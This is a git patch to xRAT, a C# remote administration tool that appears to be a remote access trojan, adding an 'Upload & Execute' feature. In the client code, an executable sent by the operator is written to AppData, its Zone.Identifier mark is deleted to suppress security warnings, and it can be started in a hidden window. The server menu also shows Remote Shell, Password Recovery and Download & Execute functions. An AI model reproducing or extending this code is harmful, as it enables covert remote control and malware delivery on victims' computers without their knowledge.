From a0ca48971797482b8d2a2e74c355eb0be0ecf251 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 30 Jul 2014 15:08:03 +0200 Subject: [PATCH] Adjusted some changes to xRAT --- Client/Client.csproj | 2 - Client/Core/Commands/CommandHandler.cs | 61 ++++++++-------- .../Commands/UploadAndExecute.cs | 10 ++- Server/Core/Helper/UPnP.cs | 6 +- .../Commands/UploadAndExecute.cs | 10 ++- Server/Forms/frmMain.Designer.cs | 69 ++++++++++--------- Server/Forms/frmMain.cs | 40 ++++++----- Server/Forms/frmMain.resx | 2 +- Server/Forms/frmSettings.cs | 2 - Server/Forms/frmUploadAndExecute.Designer.cs | 22 +++++- Server/Forms/frmUploadAndExecute.cs | 38 +++++----- Server/Properties/Resources.Designer.cs | 24 +++++-- Server/Properties/Resources.resx | 52 +++++++------- Server/Server.csproj | 35 +--------- 14 files changed, 191 insertions(+), 182 deletions(-) diff --git a/Client/Client.csproj b/Client/Client.csproj index fa47083a..8e907d7f 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -36,8 +36,6 @@ - - diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 6b5d9b19..5aca1ae0 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -88,41 +88,44 @@ namespace Core.Commands })).Start(); } - public static void HandleUploadAndExecute(Core.Packets.ServerPackets.UploadAndExecute command, Core.Client client) - { - new Core.Packets.ClientPackets.Status("Uploading file...").Execute(client); + public static void HandleUploadAndExecute(Core.Packets.ServerPackets.UploadAndExecute command, Core.Client client) + { + new Core.Packets.ClientPackets.Status("Uploading file...").Execute(client); - new Thread(new ThreadStart(() => - { - byte[] fileBytes = command.FileBytes; - string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); + new Thread(new ThreadStart(() => + { + byte[] fileBytes = command.FileBytes; + string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); - try - { - DeleteFile(tempFile + ":Zone.Identifier"); + try + { + if (fileBytes[0] != 'M' && fileBytes[1] != 'Z') + throw new Exception("no pe file"); - if (fileBytes[0] != 'M' && fileBytes[1] != 'Z') - throw new Exception("no pe file"); + File.WriteAllBytes(tempFile, fileBytes); - File.WriteAllBytes(tempFile, fileBytes); + DeleteFile(tempFile + ":Zone.Identifier"); - ProcessStartInfo startInfo = new ProcessStartInfo(); - startInfo.WindowStyle = ProcessWindowStyle.Hidden; - startInfo.CreateNoWindow = true; - startInfo.UseShellExecute = false; - startInfo.FileName = tempFile; - Process.Start(startInfo); - } - catch - { - DeleteFile(tempFile); - new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client); - return; - } + ProcessStartInfo startInfo = new ProcessStartInfo(); + if (command.RunHidden) + { + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.CreateNoWindow = true; + } + startInfo.UseShellExecute = command.RunHidden; + startInfo.FileName = tempFile; + Process.Start(startInfo); + } + catch + { + DeleteFile(tempFile); + new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client); + return; + } - new Core.Packets.ClientPackets.Status("Executed File!").Execute(client); - })).Start(); - } + new Core.Packets.ClientPackets.Status("Executed File!").Execute(client); + })).Start(); + } public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client) { diff --git a/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs b/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs index db5603f0..93dab21e 100644 --- a/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs +++ b/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs @@ -11,11 +11,15 @@ namespace Core.Packets.ServerPackets [ProtoMember(2)] public string FileName { get; set; } + [ProtoMember(3)] + public bool RunHidden { get; set; } + public UploadAndExecute() { } - public UploadAndExecute(byte[] bytes, string fileName) + public UploadAndExecute(byte[] filebytes, string filename, bool runhidden) { - FileBytes = bytes; - FileName = fileName; + this.FileBytes = filebytes; + this.FileName = filename; + this.RunHidden = runhidden; } public void Execute(Client client) diff --git a/Server/Core/Helper/UPnP.cs b/Server/Core/Helper/UPnP.cs index c754ea0f..de3748db 100644 --- a/Server/Core/Helper/UPnP.cs +++ b/Server/Core/Helper/UPnP.cs @@ -1,8 +1,6 @@ -using System; -using System.IO; -using NATUPNPLib; -using System.Net.Sockets; +using NATUPNPLib; using System.Net; +using System.Net.Sockets; using System.Threading; namespace Core diff --git a/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs b/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs index db5603f0..93dab21e 100644 --- a/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs +++ b/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs @@ -11,11 +11,15 @@ namespace Core.Packets.ServerPackets [ProtoMember(2)] public string FileName { get; set; } + [ProtoMember(3)] + public bool RunHidden { get; set; } + public UploadAndExecute() { } - public UploadAndExecute(byte[] bytes, string fileName) + public UploadAndExecute(byte[] filebytes, string filename, bool runhidden) { - FileBytes = bytes; - FileName = fileName; + this.FileBytes = filebytes; + this.FileName = filename; + this.RunHidden = runhidden; } public void Execute(Client client) diff --git a/Server/Forms/frmMain.Designer.cs b/Server/Forms/frmMain.Designer.cs index 9c88296b..aeb465bc 100644 --- a/Server/Forms/frmMain.Designer.cs +++ b/Server/Forms/frmMain.Designer.cs @@ -40,7 +40,6 @@ this.ctxtSystemInformation = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtTaskManager = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtFileManager = new System.Windows.Forms.ToolStripMenuItem(); - this.ctxtUploader = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtPasswordRecovery = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtRemoteShell = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); @@ -52,6 +51,7 @@ this.ctxtRemoteDesktop = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtMiscellaneous = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtDownloadAndExecute = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtUploadAndExecute = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtVisitWebsite = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtShowMessagebox = new System.Windows.Forms.ToolStripMenuItem(); this.botStrip = new System.Windows.Forms.StatusStrip(); @@ -86,7 +86,7 @@ this.ctxtSurveillance, this.ctxtMiscellaneous}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(140, 92); + this.ctxtMenu.Size = new System.Drawing.Size(153, 114); // // ctxtConnection // @@ -97,14 +97,14 @@ this.ctxtUninstall}); this.ctxtConnection.Image = ((System.Drawing.Image)(resources.GetObject("ctxtConnection.Image"))); this.ctxtConnection.Name = "ctxtConnection"; - this.ctxtConnection.Size = new System.Drawing.Size(139, 22); + this.ctxtConnection.Size = new System.Drawing.Size(152, 22); this.ctxtConnection.Text = "Connection"; // // ctxtUpdate // this.ctxtUpdate.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUpdate.Image"))); this.ctxtUpdate.Name = "ctxtUpdate"; - this.ctxtUpdate.Size = new System.Drawing.Size(126, 22); + this.ctxtUpdate.Size = new System.Drawing.Size(133, 22); this.ctxtUpdate.Text = "Update"; this.ctxtUpdate.Click += new System.EventHandler(this.ctxtUpdate_Click); // @@ -112,7 +112,7 @@ // this.ctxtReconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtReconnect.Image"))); this.ctxtReconnect.Name = "ctxtReconnect"; - this.ctxtReconnect.Size = new System.Drawing.Size(126, 22); + this.ctxtReconnect.Size = new System.Drawing.Size(133, 22); this.ctxtReconnect.Text = "Reconnect"; this.ctxtReconnect.Click += new System.EventHandler(this.ctxtReconnect_Click); // @@ -120,7 +120,7 @@ // this.ctxtDisconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDisconnect.Image"))); this.ctxtDisconnect.Name = "ctxtDisconnect"; - this.ctxtDisconnect.Size = new System.Drawing.Size(126, 22); + this.ctxtDisconnect.Size = new System.Drawing.Size(133, 22); this.ctxtDisconnect.Text = "Disconnect"; this.ctxtDisconnect.Click += new System.EventHandler(this.ctxtDisconnect_Click); // @@ -128,7 +128,7 @@ // this.ctxtUninstall.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUninstall.Image"))); this.ctxtUninstall.Name = "ctxtUninstall"; - this.ctxtUninstall.Size = new System.Drawing.Size(126, 22); + this.ctxtUninstall.Size = new System.Drawing.Size(133, 22); this.ctxtUninstall.Text = "Uninstall"; this.ctxtUninstall.Click += new System.EventHandler(this.ctxtUninstall_Click); // @@ -138,21 +138,20 @@ this.ctxtSystemInformation, this.ctxtTaskManager, this.ctxtFileManager, - this.ctxtUploader, this.ctxtPasswordRecovery, this.ctxtRemoteShell, this.ctxtLine, this.ctxtActions}); this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image"))); this.ctxtSystem.Name = "ctxtSystem"; - this.ctxtSystem.Size = new System.Drawing.Size(139, 22); + this.ctxtSystem.Size = new System.Drawing.Size(152, 22); this.ctxtSystem.Text = "System"; // // ctxtSystemInformation // this.ctxtSystemInformation.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystemInformation.Image"))); this.ctxtSystemInformation.Name = "ctxtSystemInformation"; - this.ctxtSystemInformation.Size = new System.Drawing.Size(169, 22); + this.ctxtSystemInformation.Size = new System.Drawing.Size(178, 22); this.ctxtSystemInformation.Text = "System Information"; this.ctxtSystemInformation.Click += new System.EventHandler(this.ctxtSystemInformation_Click); // @@ -160,7 +159,7 @@ // this.ctxtTaskManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtTaskManager.Image"))); this.ctxtTaskManager.Name = "ctxtTaskManager"; - this.ctxtTaskManager.Size = new System.Drawing.Size(169, 22); + this.ctxtTaskManager.Size = new System.Drawing.Size(178, 22); this.ctxtTaskManager.Text = "Task Manager"; this.ctxtTaskManager.Click += new System.EventHandler(this.ctxtTaskManager_Click); // @@ -168,23 +167,16 @@ // this.ctxtFileManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtFileManager.Image"))); this.ctxtFileManager.Name = "ctxtFileManager"; - this.ctxtFileManager.Size = new System.Drawing.Size(169, 22); + this.ctxtFileManager.Size = new System.Drawing.Size(178, 22); this.ctxtFileManager.Text = "File Manager"; this.ctxtFileManager.Click += new System.EventHandler(this.ctxtFileManager_Click); // - // ctxtUploader - // - this.ctxtUploader.Name = "ctxtUploader"; - this.ctxtUploader.Size = new System.Drawing.Size(169, 22); - this.ctxtUploader.Text = "File Uploader"; - this.ctxtUploader.Click += new System.EventHandler(this.ctxtUploader_Click); - // // ctxtPasswordRecovery // this.ctxtPasswordRecovery.Enabled = false; this.ctxtPasswordRecovery.Image = ((System.Drawing.Image)(resources.GetObject("ctxtPasswordRecovery.Image"))); this.ctxtPasswordRecovery.Name = "ctxtPasswordRecovery"; - this.ctxtPasswordRecovery.Size = new System.Drawing.Size(169, 22); + this.ctxtPasswordRecovery.Size = new System.Drawing.Size(178, 22); this.ctxtPasswordRecovery.Text = "Password Recovery"; this.ctxtPasswordRecovery.Click += new System.EventHandler(this.ctxtPasswordRecovery_Click); // @@ -192,14 +184,14 @@ // this.ctxtRemoteShell.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteShell.Image"))); this.ctxtRemoteShell.Name = "ctxtRemoteShell"; - this.ctxtRemoteShell.Size = new System.Drawing.Size(169, 22); + this.ctxtRemoteShell.Size = new System.Drawing.Size(178, 22); this.ctxtRemoteShell.Text = "Remote Shell"; this.ctxtRemoteShell.Click += new System.EventHandler(this.ctxtRemoteShell_Click); // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(166, 6); + this.ctxtLine.Size = new System.Drawing.Size(175, 6); // // ctxtActions // @@ -209,14 +201,14 @@ this.ctxtStandby}); this.ctxtActions.Image = global::xRAT_2.Properties.Resources.actions; this.ctxtActions.Name = "ctxtActions"; - this.ctxtActions.Size = new System.Drawing.Size(169, 22); + this.ctxtActions.Size = new System.Drawing.Size(178, 22); this.ctxtActions.Text = "Actions"; // // ctxtShutdown // this.ctxtShutdown.Image = global::xRAT_2.Properties.Resources.shutdown; this.ctxtShutdown.Name = "ctxtShutdown"; - this.ctxtShutdown.Size = new System.Drawing.Size(122, 22); + this.ctxtShutdown.Size = new System.Drawing.Size(128, 22); this.ctxtShutdown.Text = "Shutdown"; this.ctxtShutdown.Click += new System.EventHandler(this.ctxtShutdown_Click); // @@ -224,7 +216,7 @@ // this.ctxtRestart.Image = global::xRAT_2.Properties.Resources.restart; this.ctxtRestart.Name = "ctxtRestart"; - this.ctxtRestart.Size = new System.Drawing.Size(122, 22); + this.ctxtRestart.Size = new System.Drawing.Size(128, 22); this.ctxtRestart.Text = "Restart"; this.ctxtRestart.Click += new System.EventHandler(this.ctxtRestart_Click); // @@ -232,7 +224,7 @@ // this.ctxtStandby.Image = global::xRAT_2.Properties.Resources.standby; this.ctxtStandby.Name = "ctxtStandby"; - this.ctxtStandby.Size = new System.Drawing.Size(122, 22); + this.ctxtStandby.Size = new System.Drawing.Size(128, 22); this.ctxtStandby.Text = "Standby"; this.ctxtStandby.Click += new System.EventHandler(this.ctxtStandby_Click); // @@ -242,14 +234,14 @@ this.ctxtRemoteDesktop}); this.ctxtSurveillance.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSurveillance.Image"))); this.ctxtSurveillance.Name = "ctxtSurveillance"; - this.ctxtSurveillance.Size = new System.Drawing.Size(139, 22); + this.ctxtSurveillance.Size = new System.Drawing.Size(152, 22); this.ctxtSurveillance.Text = "Surveillance"; // // ctxtRemoteDesktop // this.ctxtRemoteDesktop.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteDesktop.Image"))); this.ctxtRemoteDesktop.Name = "ctxtRemoteDesktop"; - this.ctxtRemoteDesktop.Size = new System.Drawing.Size(153, 22); + this.ctxtRemoteDesktop.Size = new System.Drawing.Size(161, 22); this.ctxtRemoteDesktop.Text = "Remote Desktop"; this.ctxtRemoteDesktop.Click += new System.EventHandler(this.ctxtRemoteDesktop_Click); // @@ -257,26 +249,35 @@ // this.ctxtMiscellaneous.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.ctxtDownloadAndExecute, + this.ctxtUploadAndExecute, this.ctxtVisitWebsite, this.ctxtShowMessagebox}); this.ctxtMiscellaneous.Image = ((System.Drawing.Image)(resources.GetObject("ctxtMiscellaneous.Image"))); this.ctxtMiscellaneous.Name = "ctxtMiscellaneous"; - this.ctxtMiscellaneous.Size = new System.Drawing.Size(139, 22); + this.ctxtMiscellaneous.Size = new System.Drawing.Size(152, 22); this.ctxtMiscellaneous.Text = "Miscellaneous"; // // ctxtDownloadAndExecute // this.ctxtDownloadAndExecute.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDownloadAndExecute.Image"))); this.ctxtDownloadAndExecute.Name = "ctxtDownloadAndExecute"; - this.ctxtDownloadAndExecute.Size = new System.Drawing.Size(173, 22); + this.ctxtDownloadAndExecute.Size = new System.Drawing.Size(184, 22); this.ctxtDownloadAndExecute.Text = "Download && Execute"; this.ctxtDownloadAndExecute.Click += new System.EventHandler(this.ctxtDownloadAndExecute_Click); // + // ctxtUploadAndExecute + // + this.ctxtUploadAndExecute.Image = global::xRAT_2.Properties.Resources.upload; + this.ctxtUploadAndExecute.Name = "ctxtUploadAndExecute"; + this.ctxtUploadAndExecute.Size = new System.Drawing.Size(184, 22); + this.ctxtUploadAndExecute.Text = "Upload && Execute"; + this.ctxtUploadAndExecute.Click += new System.EventHandler(this.ctxtUploadAndExecute_Click); + // // ctxtVisitWebsite // this.ctxtVisitWebsite.Image = ((System.Drawing.Image)(resources.GetObject("ctxtVisitWebsite.Image"))); this.ctxtVisitWebsite.Name = "ctxtVisitWebsite"; - this.ctxtVisitWebsite.Size = new System.Drawing.Size(173, 22); + this.ctxtVisitWebsite.Size = new System.Drawing.Size(184, 22); this.ctxtVisitWebsite.Text = "Visit Website"; this.ctxtVisitWebsite.Click += new System.EventHandler(this.ctxtVisitWebsite_Click); // @@ -284,7 +285,7 @@ // this.ctxtShowMessagebox.Image = ((System.Drawing.Image)(resources.GetObject("ctxtShowMessagebox.Image"))); this.ctxtShowMessagebox.Name = "ctxtShowMessagebox"; - this.ctxtShowMessagebox.Size = new System.Drawing.Size(173, 22); + this.ctxtShowMessagebox.Size = new System.Drawing.Size(184, 22); this.ctxtShowMessagebox.Text = "Show Messagebox"; this.ctxtShowMessagebox.Click += new System.EventHandler(this.ctxtShowMessagebox_Click); // @@ -301,7 +302,7 @@ // botListen // this.botListen.Name = "botListen"; - this.botListen.Size = new System.Drawing.Size(81, 17); + this.botListen.Size = new System.Drawing.Size(87, 17); this.botListen.Text = "Listening: False"; // // imgFlags @@ -743,7 +744,7 @@ private System.Windows.Forms.ToolStripMenuItem ctxtShutdown; private System.Windows.Forms.ToolStripMenuItem ctxtRestart; private System.Windows.Forms.ToolStripMenuItem ctxtStandby; - private System.Windows.Forms.ToolStripMenuItem ctxtUploader; + private System.Windows.Forms.ToolStripMenuItem ctxtUploadAndExecute; } } diff --git a/Server/Forms/frmMain.cs b/Server/Forms/frmMain.cs index 2fd468d7..b0a148ce 100644 --- a/Server/Forms/frmMain.cs +++ b/Server/Forms/frmMain.cs @@ -1,11 +1,10 @@ -using System; -using System.Threading; -using System.Windows.Forms; -using Core; +using Core; using Core.Commands; using Core.Packets; +using System; +using System.Threading; +using System.Windows.Forms; using xRAT_2.Settings; -using System.Collections.Generic; namespace xRAT_2.Forms { @@ -22,7 +21,7 @@ namespace xRAT_2.Forms XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen")); XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup")); XMLSettings.Password = XMLSettings.ReadValue("Password"); - XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP")); + XMLSettings.UseUPnP = bool.Parse((!string.IsNullOrEmpty(XMLSettings.ReadValue("UseUPnP"))) ? XMLSettings.ReadValue("UseUPnP") : "False"); if (bool.Parse(XMLSettings.ReadValue("ShowToU"))) { @@ -114,7 +113,11 @@ namespace xRAT_2.Forms listenServer.ClientRead += clientRead; if (XMLSettings.AutoListen) + { + if (XMLSettings.UseUPnP) + UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString())); listenServer.Listen(XMLSettings.ListenPort); + } } private void frmMain_FormClosing(object sender, FormClosingEventArgs e) @@ -240,9 +243,6 @@ namespace xRAT_2.Forms } #region "ContextMenu" - private List clientList = new List(); - - #region "Connection" private void ctxtUpdate_Click(object sender, EventArgs e) { @@ -354,23 +354,25 @@ namespace xRAT_2.Forms frmFM.Show(); } } - - - private void ctxtUploader_Click(object sender, EventArgs e) + + private void ctxtUploadAndExecute_Click(object sender, EventArgs e) { - clientList.Clear(); if (lstClients.SelectedItems.Count != 0) { - foreach (ListViewItem lvi in lstClients.SelectedItems) + using (var frm = new frmUploadAndExecute(lstClients.SelectedItems.Count)) { - Client c = (Client)lvi.Tag; - clientList.Add(c); + if (frm.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + foreach (ListViewItem lvi in lstClients.SelectedItems) + { + Client c = (Client)lvi.Tag; + new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c); + } + } } - frmUploadAndExecute frm = new frmUploadAndExecute(clientList); - frm.Show(); } } - + private void ctxtPasswordRecovery_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) diff --git a/Server/Forms/frmMain.resx b/Server/Forms/frmMain.resx index ef95de38..1567bfbb 100644 --- a/Server/Forms/frmMain.resx +++ b/Server/Forms/frmMain.resx @@ -429,7 +429,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAagBBgGoAQYBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAbgBBgG4AQYBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/frmSettings.cs b/Server/Forms/frmSettings.cs index 0598a957..fca377fa 100644 --- a/Server/Forms/frmSettings.cs +++ b/Server/Forms/frmSettings.cs @@ -36,9 +36,7 @@ namespace xRAT_2.Forms if (btnListen.Text == "Start listening" && !listenServer.Listening) { if (chkUseUpnp.Checked) - { Core.UPnP.ForwardPort(ushort.Parse(ncPort.Value.ToString())); - } listenServer.Listen(ushort.Parse(ncPort.Value.ToString())); btnListen.Text = "Stop listening"; diff --git a/Server/Forms/frmUploadAndExecute.Designer.cs b/Server/Forms/frmUploadAndExecute.Designer.cs index 586fc715..c43cfae3 100644 --- a/Server/Forms/frmUploadAndExecute.Designer.cs +++ b/Server/Forms/frmUploadAndExecute.Designer.cs @@ -30,6 +30,7 @@ { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmUploadAndExecute)); this.btnUploadAndExecute = new System.Windows.Forms.Button(); + this.chkRunHidden = new System.Windows.Forms.CheckBox(); this.SuspendLayout(); // // btnUploadAndExecute @@ -42,23 +43,40 @@ this.btnUploadAndExecute.UseVisualStyleBackColor = true; this.btnUploadAndExecute.Click += new System.EventHandler(this.btnUploadAndExecute_Click); // + // chkRunHidden + // + this.chkRunHidden.AutoSize = true; + this.chkRunHidden.Location = new System.Drawing.Point(12, 54); + this.chkRunHidden.Name = "chkRunHidden"; + this.chkRunHidden.Size = new System.Drawing.Size(106, 17); + this.chkRunHidden.TabIndex = 1; + this.chkRunHidden.Text = "Run file hidden"; + this.chkRunHidden.UseVisualStyleBackColor = true; + // // frmUploadAndExecute // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(315, 65); + this.ClientSize = new System.Drawing.Size(315, 76); + this.Controls.Add(this.chkRunHidden); this.Controls.Add(this.btnUploadAndExecute); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; this.Name = "frmUploadAndExecute"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "xRAT 2.0 - Upload File & Execute []"; + this.Text = "xRAT 2.0 - Upload & Execute []"; this.Load += new System.EventHandler(this.frmUploadAndExecute_Load); this.ResumeLayout(false); + this.PerformLayout(); } #endregion private System.Windows.Forms.Button btnUploadAndExecute; + private System.Windows.Forms.CheckBox chkRunHidden; } } \ No newline at end of file diff --git a/Server/Forms/frmUploadAndExecute.cs b/Server/Forms/frmUploadAndExecute.cs index dcced342..6b4214af 100644 --- a/Server/Forms/frmUploadAndExecute.cs +++ b/Server/Forms/frmUploadAndExecute.cs @@ -1,46 +1,48 @@ using System; -using Core; -using System.Windows.Forms; -using System.Collections.Generic; using System.IO; +using System.Windows.Forms; namespace xRAT_2.Forms { public partial class frmUploadAndExecute : Form { - private List clientList; - private string filePath; - private byte[] fileBytes; + private int selectedClients; - public frmUploadAndExecute(List clients) + public frmUploadAndExecute(int selected) { - clientList = clients; + selectedClients = selected; InitializeComponent(); } private void frmUploadAndExecute_Load(object sender, EventArgs e) { - this.Text = string.Format("xRAT 2.0 - Upload File & Execute [Selected: {0}]", clientList.Count); + this.Text = string.Format("xRAT 2.0 - Upload & Execute [Selected: {0}]", selectedClients); } private void btnUploadAndExecute_Click(object sender, EventArgs e) { using (OpenFileDialog ofd = new OpenFileDialog()) { + ofd.Multiselect = false; + ofd.Filter = "Executable (*.exe)|*.exe"; if (ofd.ShowDialog() == DialogResult.OK) { - filePath = ofd.InitialDirectory + ofd.FileName; + var filePath = Path.Combine(ofd.InitialDirectory, ofd.FileName); - if ((fileBytes = File.ReadAllBytes(filePath)).Length > 0) - { - foreach (Client c in clientList) - { - new Core.Packets.ServerPackets.UploadAndExecute(fileBytes, ofd.SafeFileName).Execute(c); - } - } + UploadAndExecute.File = (File.Exists(filePath) ? File.ReadAllBytes(filePath) : new byte[0]); + UploadAndExecute.FileName = ofd.SafeFileName; + UploadAndExecute.RunHidden = chkRunHidden.Checked; } - this.Close(); } + this.DialogResult = DialogResult.OK; + this.Close(); } } + + public class UploadAndExecute + { + public static byte[] File { get; set; } + public static string FileName { get; set; } + public static bool RunHidden { get; set; } + } } diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index eeca9642..f79c8131 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -245,7 +245,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap server_add { get { - object obj = ResourceManager.GetObject("server-add", resourceCulture); + object obj = ResourceManager.GetObject("server_add", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -255,7 +255,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap server_disconnect { get { - object obj = ResourceManager.GetObject("server-disconnect", resourceCulture); + object obj = ResourceManager.GetObject("server_disconnect", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -265,7 +265,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap server_reconnect { get { - object obj = ResourceManager.GetObject("server-reconnect", resourceCulture); + object obj = ResourceManager.GetObject("server_reconnect", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -275,7 +275,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap server_uninstall { get { - object obj = ResourceManager.GetObject("server-uninstall", resourceCulture); + object obj = ResourceManager.GetObject("server_uninstall", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -305,7 +305,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap task_manager { get { - object obj = ResourceManager.GetObject("task-manager", resourceCulture); + object obj = ResourceManager.GetObject("task_manager", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -355,7 +355,17 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap uac_shield { get { - object obj = ResourceManager.GetObject("uac-shield", resourceCulture); + object obj = ResourceManager.GetObject("uac_shield", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap upload { + get { + object obj = ResourceManager.GetObject("upload", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } @@ -375,7 +385,7 @@ namespace xRAT_2.Properties { /// internal static System.Drawing.Bitmap xRAT_64x64 { get { - object obj = ResourceManager.GetObject("xRAT-64x64", resourceCulture); + object obj = ResourceManager.GetObject("xRAT_64x64", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index 184109cf..10ab4a7a 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -117,20 +117,29 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + + + ..\Resources\restart.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\mouse_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\images\uac-shield.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\actions.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\refresh.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + ..\images\task-manager.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, 